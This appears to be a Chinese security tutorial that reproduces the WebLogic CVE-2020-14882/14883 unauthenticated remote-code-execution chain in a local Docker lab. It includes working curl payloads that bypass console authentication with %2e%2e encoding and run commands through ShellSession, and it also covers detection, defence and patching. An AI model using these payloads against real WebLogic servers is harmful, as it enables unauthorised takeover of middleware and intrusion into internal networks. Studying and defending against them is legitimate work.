WebLogic CVE-2020-14882 未授权 RCE 复现

WebLogic CVE-2020-14882 未授权访问管理后台 + CVE-2020-14883 命令执行链,完整讲解原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

本文复现只在本机靶场进行。WebLogic 漏洞利用可直接控制中间件,禁止对真实系统使用。

一、漏洞原理(两个 CVE 是一条链)

1
2
CVE-2020-14882:路径编码绕过认证,未授权访问管理后台 console
CVE-2020-14883:配合后台的 handle 参数执行命令(RCE)
1
2
14882:URL 里把 /console/ 用 %2e%2e 编码绕过权限判断
14883:未授权拿到后台后,用 ShellSession 执行任意命令

影响版本:

1
2
3
4
WebLogic 10.3.6.0
12.1.3.0
12.2.1.3 / 12.2.1.4
14.1.1.0

二、影响与危害

1
2
3
未授权进入管理后台
直接命令执行(RCE)
中间件完全控制、内网横向

风险等级:严重。WebLogic 在内网 Java 系统里非常常见。

三、利用 / 复现

环境准备

1
docker run -d -p 7001:7001 --name wl vulhub/weblogic:CVE-2020-14882

第一步:验证未授权访问(14882)

1
2
# 路径编码绕过
curl -k "http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal"

能返回 console 页面且无需登录,说明 14882 成立。

第二步:命令执行(14883)

老版本(10.3.6/12.1.3,未授权即可执行):

1
curl -k "http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('id');\")"

新版本(12.2.1.3+)默认关闭直接执行,需要先结合其他方式(如写文件)或利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 加载远程 XML 实现 RCE。

回显技巧

1
2
命令无直接回显时:把结果写到 web 目录再访问
例如 exec("cmd /c whoami > servers/AdminServer/.../console_ext/1.txt")

四、检测

1
2
3
4
日志中找 /console/ 与 %2e%2e、%252e%252e 编码
访问 console 的 IP 不在白名单
出现 ShellSession、Runtime.getRuntime 关键字
异常出站连接与命令执行痕迹

五、防御

1
2
3
4
限制 console 访问来源(白名单/内网)
WAF 拦截 %2e%2e 与 ShellSession 关键字
升级到已修复版本
对 admin 端口做网络隔离

六、修复

1
2
3
4
升级 WebLogic 到官方安全补丁(含 14882/14883 修复)
关闭不必要的 console 暴露
给管理后台加二次认证/强口令
修复后复测:编码绕过路径与命令执行均被拒

七、小结

14882+14883 是“未授权 + 命令执行”的标准组合。识别特征:7001 端口 + /console/ 路径 + %2e%2e 编码。打 WebLogic 这类中间件,先判断版本,因为新旧版本利用链完全不同。